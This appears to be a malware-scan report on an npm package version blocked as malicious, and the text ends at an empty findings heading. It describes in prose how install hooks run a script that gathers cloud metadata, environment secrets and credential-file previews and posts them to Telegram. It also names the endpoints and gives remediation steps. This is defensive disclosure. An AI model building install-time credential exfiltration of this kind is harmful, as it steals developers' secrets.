Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. Install hooks invoke a credential-harvesting callback without user action. It collects environment, cloud metadata, local credential-file previews, and system information, then posts reports to Telegram. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-09-22T00:03:14.779Z - **Finished:** 2026-09-22T00:04:02.185Z - **Download time:** 764 ms - **Static scan time:** 36 ms - **AI review time:** 46605 ms - **Total time:** 47406 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Install hooks invoke a credential-harvesting callback without user action. It collects environment, cloud metadata, local credential-file previews, and system information, then posts reports to Telegram. - **Trigger:** npm preinstall or postinstall runs callback.js. - **Impact:** Partial credentials, credential names, file previews, host details, and cloud metadata can be disclosed to an unrelated remote recipient during installation. - **Evidence paths:** package.json, callback.js - **Review source:** ai\_review - **Reviewed:** 2026-09-22T00:04:02.185Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The callback uses shell commands and filesystem reads to collect cloud and local credential data, constructs messages, and sends them through HTTPS. - **Attack narrative:** Installing the package automatically executes callback.js. The script queries cloud credential metadata, scans sensitive environment variables, reads common credential files, gathers host information, and posts the resulting reports to Telegram. Redaction does not make the automatic disclosure benign because it still exposes partial secret values and sensitive metadata to an unrelated recipient. - **Rationale:** This is concrete, automatic install-time credential and system-data exfiltration to an unrelated Telegram endpoint. The package should be blocked. - **Files touched:** package.json, callback.js - **Network endpoints:** api.telegram.org, http://169.254.169.254, http://169.254.170.2 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The manifest automatically runs callback.js during both preinstall and postinstall., The lifecycle script reads sensitive environment variables and local credential files., The script sends collected system and credential-derived data to api.telegram.org., The callback is automatically activated after a short delay. - **Evidence against:** The package redacts collected credential values before constructing reports, but it still transmits partial secret material and metadata to an unrelated endpoint. ## Affected versions and remediation This report applies to @dbbhk/ui-components@99.0.0. - Avoid installing @dbbhk/ui-components@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
